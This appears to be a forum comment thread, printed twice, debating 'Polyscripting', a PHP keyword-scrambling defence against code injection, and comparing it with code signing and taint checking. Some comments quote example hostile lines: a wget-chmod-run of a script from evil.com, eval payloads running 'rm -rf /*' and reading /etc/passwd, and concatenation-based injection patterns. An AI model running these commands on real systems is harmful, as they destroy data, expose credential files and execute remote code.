6 ms·

Polyscripting scrambles programming languages to prevent code injection

33 points by jkuria 8y ago

klodolph 8y ago
This is a bandaid on a sucking chest wound, not a silver bullet. Traditional defense in depth: * Run web processes with minimum privileges * No write access to the directories where your executable runs * Audits for filesystem access and use of "eval" * et cetera The only reason we're entertaining this kind of idea is because people have legacy apps written in PHP that they need to deal with and keep running. Fine, but there are problems with this "polyscripting" approach... this looks substantially worse than, say, doing something more straightforward like signing your code with a cryptographic key and refusing to execute unsigned code. In fact, this looks like a hackneyed, amateurish way of doing exactly that, all while making the debugging experience immeasurably worse. Modifying PHP to only execute signed code would surely be trivial by comparison. This a hack that doesn't even need to exist.
- iforgotpassword 8y ago
  So let's get rid of the NX bit, aslr, heck why even run web processes with minimum privileges as you suggest? Just write exploit free software and launch them as root. I don't see how this polyscripting thing is any better or worse than those dozens of existing mitigation technologies, apart from your point about debugging.
  - imtringued 8y ago
    The problem with this "mitigation" is that it doesn't solve the problem and it takes away resources and attention from the proper solution. Checking a code signature on file load is a proven mitigation for preventing the execution of untrusted code.
    - joshuamorton 8y ago
      This doesn't help if the code you're executing changes after execution starts, or if it is dynamically generated (a sql query).
  - klodolph 8y ago
    To clarify, my comment was suggesting that defense in depth is the correct way to do things (because exploit-free software is too hard to write, as you say). NX bit is a part of that, but polyscripting is stupid and should be thrown away. The problem with polyscripting is that it doesn’t provide any extra benefits that code signing doesn’t give you. In fact, it provides less security, more drawbacks, and has a greater implementation complexity (= attack surface) than code signing. With code signing you can be confident that someone with access to signed code can’t sign their own code, but with polyscripting as presented in the article, there does not appear to be any such assurance. Polyscripting reminds me of all the hackneyed copy-protection or anti-reverse-engineering techniques we saw back in the 90s.
kevingadd 8y ago
Why go through all this trouble when you could just use code-signing? Only load and run source or executable files with a trusted certificate. For more robustness you generate a self-signed cert on the build server that no outside parties have access to. Dedicated interpreter/script pair is a cool idea, at least. The "impossible" also seems like an overstatement to me - it doesn't seem hard to reverse engineer the scramble that was applied, since there are frequently ways to get the ability to read the raw source of the file being executed (certainly against PHP), and if you can match it against a known source file (easy for open source libraries) you can use that 1:1 mapping to identify what scramble was used. Common code patterns show up all the time in source, and since the scramble preserves literals and structure it will be easy to identify the scrambled token based on the pattern. The sad thing is even if this ends up being a great defensive technique, deploying it in practice would be a real pain because you're not running known-good packages or installers anymore, you have to build your own dedicated runtime/interpreter from scratch to match the scramble on your application. To avoid high risk, you probably need to change the scramble regularly, which means building the interp again. And if you use a different scramble per application (for sandboxing, etc) then you aren't getting page sharing between the native modules. :(
- stevekemp 8y ago
  >Only load and run source or executable files with a trusted certificate This kind of solution works well with the exception of pretty much any scripting-language. For example I hacked up a cute linux security module to allow executions by the kernel to be validated via userspace: https://github.com/skx/linux-security-modules/tree/master/security/can-exec https://github.com/skx/linux-security-modules/tree/master/se... You could also use SELinux, AppArmor, and similar traditional approaches. Once you've picked a solution you could then go on to sign `/bin/ls`, `/bin/bash`, etc, and deny the execution of unsigned binaries such that this would fail: wget evil.com/root.sh chmod 755 root.sh ./root.sh (This example assumes that you'd even permit `wget` and `chmod` to run.) However the approach fails if you want to allow running perl, php, python-scripts, etc. You'd have to sign the interpreters so that they could run. But if you allow `python` to execute then there is no difference between: python /path/to/good.py and python /path/to/evil.py Since the executable in both cases is `python`, not the script. You'd have to hack the interpeters to do signature validation on your scripts - and if you did that you'd almost certainly need to update all the standard-libraries to allow those to be loaded. (It is possible you could work around this via policies, but off the top of my head ..)
chubot 8y ago
Uh, so doesn't this only prevent PHP injection? To prevent SQL injection you would need to change the database itself; to prevent JavaScript injection you would need to change the browser (impossible), etc.
- stcredzero 8y ago
  To prevent SQL injection Prepared queries?
  - CGamesPlay 8y ago
    > Prepared queries? Well, there are lots of ways to prevent code injection that aren't "scrambling the AST". But to "polyscript" your SQL, you have to modify your SQL engine.
    - stcredzero 8y ago
      I am thinking of using something like this to enable serverless lambdas, but in ahead of time compiled languages.
- deleted 8y ago
  [deleted]
duckerude 8y ago
> Within the tests/evalExploit directory, there is a php file that runs eval() on user input, a common code-injection vulnerability, to experience the power of Polyscripting. What happens if you eval "`rm -rf /*`;" or "`grep root /etc/passwd`;"? Does it scramble backticks?
- maxk42 8y ago
  It claims to modify the AST, so yes, hypothetically, it would scramble backticks. Note that I have not reviewed the code -- I'm only going by the claims in the article.
- notveryrational 8y ago
  I doubt it scrambles backticks. In its example on the webpage it just creates a keywork scrambler. The grammar is intact with most of the lexing.
tetrep 8y ago
TL;DR: This doesn't really do what it claims to do (prevent injection), but it does slightly mitigate some attack vectors. It's security through obscurity, which is useful as defense in depth (see: ASLR), but hardly stops all attacks (or even a motivated attacker). If someone ran around declaring the end of buffer overflow exploits because of ASLR, I'd have a hearty chuckle. root:/pwd# cat scrambled.php <?php arFktyO “Hello, “; arFktyO “Small World.\n”; ?> In the above example, arFktyO = echo. This doesn't fix (imo) the most common instance of [something]-injection, which usually stems from string concatenation, i.e. sqlQuery = "SELECT * FROM table WHERE owner=" + userInput execute(sqlQuery) or command = "ls " + userInput eval(command)
- joe_the_user 8y ago
  The problem is this isn't just security-through-obscurity and but also roll-your-own-encryption, because it's filter is effectively just testing whether commands have been shuffled with a homemade shuffler. And I think roll-your-own-encryption is much more in the realm of always-bad. Edit: as others say, why use this instead of code-signing.
- ben509 8y ago
  You don't need a particularly advanced DBMS to create a schema with views that have scrambled names, or just stored procedures with scrambled names. CREATE VIEW oijweojf AS SELECT thing AS woeifj, stuff AS pokkx Similarly, if you're shelling out, you can certainly set up a chroot jail with all the names scrambled. That said, you then need to integrate all this into a build and deploy process, and god help anyone who has to debug it.
  - hyperhopper 8y ago
    scrambling those names is equivalent to scrambling variable names. The actual use of this tool would be the equivalent of scrambling `CREATE VIEW` to `kdjal fjdskalf`
ben509 8y ago
> Once php is scrambled and the files transformed, there is no key or magic value to find that will reverse the process. Isn't scrambled code standard practice when you're writing PHP? (I keed, I keed...)
- sli 8y ago
  No no, that would be Perl.
  - rbanffy 8y ago
    Perl code is a one-way hash of the program steps.
phyzome 8y ago
Orrrrr you could systemically remove code injection vulnerabilities, which honestly aren't that hard to get rid of. Why play around with weird little hacks like this if you can remove the problem at its root? Just say no to string concatenation of command languages.
mncharity 8y ago
I once served a mostly-unmaintained world-writable wiki. It was getting hosed by automated link spam. Simply renaming the "edit" url to "ed1t", solved the problem for several years. It forced a human to eyeball the site, and thus to notice its high-profile warning that "robots.txt blocks indexing, so link spamming won't be of any use to you". Eventually someone started spamming anyway... which eventually obscured the warning... and the site was then trashed. Sometimes even a very small work function can be quite useful.
ngaston49 8y ago
Genius!
tomc1985 8y ago
The name of this "technique" is a marketing grab. "Polyscripting" means something that is not this, on its own.
nneonneo 8y ago
I don’t understand how this “prevents code injection” in any meaningful way. The blog post boasts on and on about how it’s going to solve the problem - but at the end of the day, a code injection bug is still a code injection bug. Sure, the attacker now has to program in a demented, randomized dialect of PHP, but given enough patience they’re bound to get something usable running. Plus this breaks practically any code that actually relies on dynamic PHP features to generate code, because now the code generators have to be manually edited to spit out obfuscated code instead of normal PHP.
codedokode 8y ago
It looks like a solution to a very rare case - using eval on user input (who does that?). It doesn't protect you from more popular SQL injections, XSS, XSRF vulns etc. The better use would be obfucation of code to lock client to your services.
rs86 8y ago
The PR stink is strong with this one.
csirac2 8y ago
I wish folks would use the taint mode they might already have. At some point taint checking bugs stopped being release blockers in core ruby & perl, but having worked through moving a couple of large codebases to surviving strict taint checking in prod, it's one of the most memorable systematic things we have to avoid (I think most?) of the bugs in the class that this is trying to solve. Obviously, we want solutions that will remediate existing code unmodified, and I guess enabling taint mode isn't in that category. I wonder what bugs taint checking wouldn't catch, that this would.

33 points by jkuria 8y ago

This is a bandaid on a sucking chest wound, not a silver bullet. Traditional defense in depth: * Run web processes with minimum privileges * No write access to the directories where your executable runs * Audits for filesystem access and use of "eval" * et cetera The only reason we're entertaining this kind of idea is because people have legacy apps written in PHP that they need to deal with and keep running. Fine, but there are problems with this "polyscripting" approach... this looks substantially worse than, say, doing something more straightforward like signing your code with a cryptographic key and refusing to execute unsigned code. In fact, this looks like a hackneyed, amateurish way of doing exactly that, all while making the debugging experience immeasurably worse. Modifying PHP to only execute signed code would surely be trivial by comparison. This a hack that doesn't even need to exist.

iforgotpassword 8y ago
So let's get rid of the NX bit, aslr, heck why even run web processes with minimum privileges as you suggest? Just write exploit free software and launch them as root. I don't see how this polyscripting thing is any better or worse than those dozens of existing mitigation technologies, apart from your point about debugging.
- imtringued 8y ago
  The problem with this "mitigation" is that it doesn't solve the problem and it takes away resources and attention from the proper solution. Checking a code signature on file load is a proven mitigation for preventing the execution of untrusted code.
  - joshuamorton 8y ago
    This doesn't help if the code you're executing changes after execution starts, or if it is dynamically generated (a sql query).
- klodolph 8y ago
  To clarify, my comment was suggesting that defense in depth is the correct way to do things (because exploit-free software is too hard to write, as you say). NX bit is a part of that, but polyscripting is stupid and should be thrown away. The problem with polyscripting is that it doesn’t provide any extra benefits that code signing doesn’t give you. In fact, it provides less security, more drawbacks, and has a greater implementation complexity (= attack surface) than code signing. With code signing you can be confident that someone with access to signed code can’t sign their own code, but with polyscripting as presented in the article, there does not appear to be any such assurance. Polyscripting reminds me of all the hackneyed copy-protection or anti-reverse-engineering techniques we saw back in the 90s.

kevingadd 8y ago

Why go through all this trouble when you could just use code-signing? Only load and run source or executable files with a trusted certificate. For more robustness you generate a self-signed cert on the build server that no outside parties have access to. Dedicated interpreter/script pair is a cool idea, at least. The "impossible" also seems like an overstatement to me - it doesn't seem hard to reverse engineer the scramble that was applied, since there are frequently ways to get the ability to read the raw source of the file being executed (certainly against PHP), and if you can match it against a known source file (easy for open source libraries) you can use that 1:1 mapping to identify what scramble was used. Common code patterns show up all the time in source, and since the scramble preserves literals and structure it will be easy to identify the scrambled token based on the pattern. The sad thing is even if this ends up being a great defensive technique, deploying it in practice would be a real pain because you're not running known-good packages or installers anymore, you have to build your own dedicated runtime/interpreter from scratch to match the scramble on your application. To avoid high risk, you probably need to change the scramble regularly, which means building the interp again. And if you use a different scramble per application (for sandboxing, etc) then you aren't getting page sharing between the native modules. :(

stevekemp 8y ago
>Only load and run source or executable files with a trusted certificate This kind of solution works well with the exception of pretty much any scripting-language. For example I hacked up a cute linux security module to allow executions by the kernel to be validated via userspace: https://github.com/skx/linux-security-modules/tree/master/security/can-exec https://github.com/skx/linux-security-modules/tree/master/se... You could also use SELinux, AppArmor, and similar traditional approaches. Once you've picked a solution you could then go on to sign `/bin/ls`, `/bin/bash`, etc, and deny the execution of unsigned binaries such that this would fail: wget evil.com/root.sh chmod 755 root.sh ./root.sh (This example assumes that you'd even permit `wget` and `chmod` to run.) However the approach fails if you want to allow running perl, php, python-scripts, etc. You'd have to sign the interpreters so that they could run. But if you allow `python` to execute then there is no difference between: python /path/to/good.py and python /path/to/evil.py Since the executable in both cases is `python`, not the script. You'd have to hack the interpeters to do signature validation on your scripts - and if you did that you'd almost certainly need to update all the standard-libraries to allow those to be loaded. (It is possible you could work around this via policies, but off the top of my head ..)

chubot 8y ago

Uh, so doesn't this only prevent PHP injection? To prevent SQL injection you would need to change the database itself; to prevent JavaScript injection you would need to change the browser (impossible), etc.

stcredzero 8y ago
To prevent SQL injection Prepared queries?
- CGamesPlay 8y ago
  > Prepared queries? Well, there are lots of ways to prevent code injection that aren't "scrambling the AST". But to "polyscript" your SQL, you have to modify your SQL engine.
  - stcredzero 8y ago
    I am thinking of using something like this to enable serverless lambdas, but in ahead of time compiled languages.
deleted 8y ago
[deleted]

duckerude 8y ago

> Within the tests/evalExploit directory, there is a php file that runs eval() on user input, a common code-injection vulnerability, to experience the power of Polyscripting. What happens if you eval "`rm -rf /*`;" or "`grep root /etc/passwd`;"? Does it scramble backticks?

maxk42 8y ago
It claims to modify the AST, so yes, hypothetically, it would scramble backticks. Note that I have not reviewed the code -- I'm only going by the claims in the article.
notveryrational 8y ago
I doubt it scrambles backticks. In its example on the webpage it just creates a keywork scrambler. The grammar is intact with most of the lexing.

tetrep 8y ago

TL;DR: This doesn't really do what it claims to do (prevent injection), but it does slightly mitigate some attack vectors. It's security through obscurity, which is useful as defense in depth (see: ASLR), but hardly stops all attacks (or even a motivated attacker). If someone ran around declaring the end of buffer overflow exploits because of ASLR, I'd have a hearty chuckle. root:/pwd# cat scrambled.php <?php arFktyO “Hello, “; arFktyO “Small World.\n”; ?> In the above example, arFktyO = echo. This doesn't fix (imo) the most common instance of [something]-injection, which usually stems from string concatenation, i.e. sqlQuery = "SELECT * FROM table WHERE owner=" + userInput execute(sqlQuery) or command = "ls " + userInput eval(command)

joe_the_user 8y ago
The problem is this isn't just security-through-obscurity and but also roll-your-own-encryption, because it's filter is effectively just testing whether commands have been shuffled with a homemade shuffler. And I think roll-your-own-encryption is much more in the realm of always-bad. Edit: as others say, why use this instead of code-signing.
ben509 8y ago
You don't need a particularly advanced DBMS to create a schema with views that have scrambled names, or just stored procedures with scrambled names. CREATE VIEW oijweojf AS SELECT thing AS woeifj, stuff AS pokkx Similarly, if you're shelling out, you can certainly set up a chroot jail with all the names scrambled. That said, you then need to integrate all this into a build and deploy process, and god help anyone who has to debug it.
- hyperhopper 8y ago
  scrambling those names is equivalent to scrambling variable names. The actual use of this tool would be the equivalent of scrambling `CREATE VIEW` to `kdjal fjdskalf`

ben509 8y ago

> Once php is scrambled and the files transformed, there is no key or magic value to find that will reverse the process. Isn't scrambled code standard practice when you're writing PHP? (I keed, I keed...)

sli 8y ago
No no, that would be Perl.
- rbanffy 8y ago
  Perl code is a one-way hash of the program steps.

phyzome 8y ago

Orrrrr you could systemically remove code injection vulnerabilities, which honestly aren't that hard to get rid of. Why play around with weird little hacks like this if you can remove the problem at its root? Just say no to string concatenation of command languages.

mncharity 8y ago

I once served a mostly-unmaintained world-writable wiki. It was getting hosed by automated link spam. Simply renaming the "edit" url to "ed1t", solved the problem for several years. It forced a human to eyeball the site, and thus to notice its high-profile warning that "robots.txt blocks indexing, so link spamming won't be of any use to you". Eventually someone started spamming anyway... which eventually obscured the warning... and the site was then trashed. Sometimes even a very small work function can be quite useful.

ngaston49 8y ago

Genius!

tomc1985 8y ago

The name of this "technique" is a marketing grab. "Polyscripting" means something that is not this, on its own.

nneonneo 8y ago

I don’t understand how this “prevents code injection” in any meaningful way. The blog post boasts on and on about how it’s going to solve the problem - but at the end of the day, a code injection bug is still a code injection bug. Sure, the attacker now has to program in a demented, randomized dialect of PHP, but given enough patience they’re bound to get something usable running. Plus this breaks practically any code that actually relies on dynamic PHP features to generate code, because now the code generators have to be manually edited to spit out obfuscated code instead of normal PHP.

codedokode 8y ago

It looks like a solution to a very rare case - using eval on user input (who does that?). It doesn't protect you from more popular SQL injections, XSS, XSRF vulns etc. The better use would be obfucation of code to lock client to your services.

rs86 8y ago

The PR stink is strong with this one.

csirac2 8y ago

I wish folks would use the taint mode they might already have. At some point taint checking bugs stopped being release blockers in core ruby & perl, but having worked through moving a couple of large codebases to surviving strict taint checking in prod, it's one of the most memorable systematic things we have to avoid (I think most?) of the bugs in the class that this is trying to solve. Obviously, we want solutions that will remediate existing code unmodified, and I guess enabling taint mode isn't in that category. I wonder what bugs taint checking wouldn't catch, that this would.